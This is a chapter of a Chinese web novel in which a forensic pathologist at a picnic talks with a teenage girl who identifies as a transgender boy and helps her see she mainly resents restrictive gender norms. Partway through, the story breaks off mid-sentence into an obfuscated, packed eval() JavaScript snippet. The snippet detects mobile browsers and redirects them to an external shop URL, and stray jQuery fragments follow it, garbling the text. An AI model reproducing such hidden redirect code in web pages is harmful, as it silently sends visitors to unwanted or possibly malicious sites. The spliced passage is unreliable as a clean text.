文趣网 > 都市小说 > 睡过太平间 > 14. 性别不一致?
    五一放假第一天,病理科组织去牧场野炊。同事们各自带着家属,大家都是老相识,对第一次见的晁珍格外热情,嘘寒问暖间,就把户口查完了。

    田索妈妈对晁珍更为主动,一直找话谈,进一步了解着。“有对象了吗?”“家人都做什么的?”“比我们家田索大一点,可也很相仿哦。”……晁珍完全败下阵来,只能礼貌地笑着。

    田索一直在穿肉串,看见老板停下了架烤炉的动作,才顺其目光向不远处望去。看见妈妈缠着晁珍聊天,立马会意跑了过去,一把将妈妈拉到另一边:“不好意思啊,晁主检。”

    田索压着声音不满道:“妈你干嘛,多尴尬啊!”

    “有什么的,问问怎么了,你不上心我还能不上心吗?”田索妈妈也压低了声,很明显不欲让儿子尴尬,但也憋不住:“你这工作,除了同行,谁听了不跑?这姑娘真不错……”

    戴着墨镜的姚会青拿着泡泡枪就走了过来,在晁珍耳侧道:“这姑娘真不错哦。”

    晁珍对姚会青白了一眼,向穿着母子装的然然道:“你看你妈,没个正形。”

    然然用泡泡枪向空中打了串泡:“我可管不了她。”甫一顿:“魏叔叔咋还没来呢,我想宛宛姐姐了,今儿就奔她来的,她说给我带谷子的。”

    姚会青笑了笑:“快了快了。”转对晁珍道:“魏鸣今天还给咱们带个活儿呢。”

    晁珍一愣,无语道:“带什么活儿?这青青草原的,能有我们什么活。”

    就地解剖?太无厘头了。

    鼻尖忽然传来阵诱人的烤肉香味儿,一垂眼一大把牛肉串递来,姚会青和然然立马分了个干净。白将弛慢慢道:“说是宛宛的同学,打小的闺蜜,老魏媳妇儿和那孩子的父母也是朋友。”

    然然吃得很香,点评道:“烤得不错,就是有点咸。”

    晁珍拿了两根,刚吃了一口,回了个头,疑问道:“哪儿烤的?炉子都没点火。”

    白将弛一顿:“边儿上买的,那炉子捣鼓半天没弄明白,等魏鸣来了再说吧。”

    晁珍嚼着肉问道:“说回那个小孩,能有咱们什么活儿?”

    姚会青吃得很快,已经第三串了:“那个孩子认为自己是性别不一致,但心理医生的专业意见呢,认为并不是。”

    然然忽然抬头问:“啥是性别不一致?”

    晁珍道:“就是认为自己的性别是错的,自己属于相反的性别。”

    然然听懂了:“女生认为自己是男生,男生认为自己是女生,是这样吗?”

    白将弛点点头。

    然然又问道:“那这是病吗?”

    晁珍摇摇头:“曾经是,但现在人们对此有了更清楚的认识,了解到这并非疾病,只是一种心理状态。”忽一顿,望向姚会青:“跟然然说这些,是不有点太早了?”

    姚会青耸耸肩,继续嚼着肉串:“她这个年纪已经进入自我同一性的建立期了,你不说,我不说,她自己也会追问“我是谁”这个问题的。”

    顺手摸了把闺女的头:“再说了,性别教育分什么早晚,关键是引导得正不正确。”

    鲁彬彬不知什么时候把风筝修好了,然然认为他们的聊天有点无聊,转身跑到了那边去。

    白将弛继续道:“女孩并不对自身性别的身体产生痛苦和焦虑,也不对第一第二性征有强烈排斥,是这两个月突然出现的性别诉求。开始穿男装,打篮球,和爸妈说自己是跨性别男孩。”

    晁珍琢磨了一会儿:“那这个变化,应该是有个节点的吧。”

    姚会青:“这个不清楚。不过呢,小孩在网上发跳街舞、打篮球的视频,粉丝挺多,都是夸赞很酷啊、很帅啊,也有追随流行的可能吧。毕竟我十四五岁那个时候,就爱玩叛逆,标新立异。”

    晁珍:“那家长有没有和她好好谈谈?”

    姚会青摇了摇头:“青春期的小孩嘛,家长的话听不进去。他们想找老魏,可他跟孩子也熟啊,人孩子当然设防了,所以谈不进深的话。”

    正说着,就听见然然尖叫着跑去扑宛宛,老魏大包小包地拎着往帐篷这边走来。身后跟了个短发孩子,打扮得很利落。魏鸣介绍道:“这是欢欢,朋友家小孩。”

    “叔叔阿姨好。”欢欢见人礼貌地打招呼,但会有点社恐地压压鸭舌帽。

    田索妈妈很热情地笑了:“这小孩真好。来,欢欢你尝尝,我亲手烤的小饼干,可酥了。”

    没见之前,还以为是多叛逆的孩子,可欢欢的表现实在蛮好,感觉有被误读。

    魏鸣是正光公认的大厨,他一来,三下五除二就把野炊的家伙事儿弄好了。烧烤安排明白后,另一边开始起锅烧油,各类小海鲜就纷纷下锅,香得不得了。

    晁珍走向小孩那桌,举了举手里的胡萝卜:“谁去陪我喂羊驼?”

    然然正专心致志地缠着宛宛玩她手机里的一款开放世界冒险游戏,直接摆了摆手。

    姚会青会意了晁珍的意思,转对欢欢笑了笑:“去吗?去看看吧,那羊驼可肥了!”

    欢欢也不抗拒,起身就跟了去。

    晁珍很热情地挽着欢欢,E得仿佛姚会青上身。

    几根胡萝卜下来,欢欢笑了,和晁珍的对话也有来有往。两人正学羊驼吐口水,晁珍忽然建议,让欢欢在围栏前拍个舞。小孩一怔,有点羞赧道:“你怎么知道我……”

    晁珍眉眼一弯,将账号的关注列表打开,赞道:“我关注了嘛,你跳得很好的。”话音刚落,她人就往后退了几米,半蹲着将手机握好:“这天这景真绝了。来,我帮你录,不过别嫌弃哈,你粉丝我不太会运镜。”

    欢欢扑哧一笑,点点头:“没关系的,我可以自己加特效和转场。”

    一曲终了,晁珍“呜呼”着应援,欢欢虽然不好意思,但的确开心。

    接收了传来的视频,就在手机上开始剪辑,晁珍望着她,慢慢措辞道:“你很喜欢这种自在舒展的状态,是吗?”

    欢欢点了点头:“嗯。跳舞的时候,轻轻松松的,完全投入进去就会忘我。”叹了口气继续道:“也会忘记那些规矩。”

    晁珍反问道:“规矩?”

    孩子不作声了,目光半响一抬:“是啊,我妈妈很古板的,从小就要我文静、要我淑女、要我端庄。总是逼我弹钢琴,练芭蕾,可这些都是我不喜欢的。”

    简单剪辑,套过模板后,欢欢发布了视频。不到一分钟,底下便有十

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651145|206494||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    多条评论。

    【好帅啊!真飒!】

    【少年感拉满!】

    欢欢看过品论,笑意盎然。晁珍忽然有些明白,为什么欢欢想让自己成为跨性别男孩。她不是性别不一致,也不是受网络影响想赶时髦,她应该只是想逃离一个被规训的女性身份。

    当是女孩时,她被框进温顺懂事的规范里,稍有出格就会被指责。可成为男孩,顺心而为就能在网络空间收获夸奖。欢欢并不厌恶自己的女性身体,厌恶的是身为女性被束缚、被挑剔的境遇。

    就像姚会青说的,青春期的小孩会处在“我是谁”的探索之中。

    过去,这种探索是隐秘的,自我化的,不公开的。可社交媒体如此发达的今天,孩子们只要动动手指,就能看到无数的心路历程,但那些历程并不适合所有人。

    欢欢的探索,就陷进了一个偏差。她的真实诉求其实是做一个不用符合他人期待的女孩,但当这条道路无法以沟通的方式进行时,她发现更换性别似乎显得更有力,更振聋发聩。

    晁珍笑问:“那欢欢你喜欢什么呢?”

    欢欢一笑:“街舞,篮球,还有探险。”

    “好酷啊。”晁珍顿了顿:“所以,你才想自己是个男孩?”

    提到这个话题,欢欢掠过一丝无措:“是。我想自由。”叹了口气:“做女孩我不快乐。不能招摇,不能争抢,要体面,要收敛。”

    晁珍听见了她的痛苦,思索后道:“可你想没想过,男孩也存在性别上的刻板印象呢?传统的男子气概要求男性不能哭,不能示弱,不能敏感,不能化妆……如果这些束缚强压在‘男孩欢欢’身上,是不是也会觉得不快乐呢?”

    欢欢似乎在思考,陷入沉默。

    “其实我能感觉到,你很不喜欢妈妈拿所谓的女孩子的标准来要求你。但你其实并不讨厌自己是女孩子,只是不喜欢那些套在身上乱七八糟的规矩。对吗?”

    “可是,谁说女孩就不能大声笑,随便跑了?这都什么年代了。你是女孩子,也可以留短发、穿帅衣服、打篮球、跳街舞啊。女生什么样的都有,没有标准答案的。”

    欢欢微微抬头,神色有所触动。

    晁珍拍了拍她的肩头:“不用非在乖女孩和帅男孩里选一个生活,我们不是游戏里捏的人物,性别也不是个固定的模具,没有选了哪个就必须按哪个固定方式活的指令。”

    “阿姨呢,是法医,每天都在见证人的一辈子。说穿了,我们只是长着206块骨头的哺乳动物,来世界上一遭,除了吃饱和睡好两件事外,其他的都是额外赚来的体验。现代医学这么发达,可人类善始善终的极值,也不过三万六千天,还不怎么舒服怎么来?”

    欢欢含笑,半响,有些扭捏道:“嗯。其实,我还挺喜欢玩乙女游戏的。”

    晁珍温柔一笑,她懂欢欢的言外之意。

    晁珍打开手机的评论区,展示给欢欢看:“你要知道,帅是一种姿态,可无关男女。就像这些粉丝,他们欣赏的是你呀,是你身上那份洒脱自在的劲儿,这才是珍贵的。”

    被困得逼仄的心膛忽然间豁开了一扇门,有温暖的光涌了进来,欢欢释了口气。

    肆意欢笑。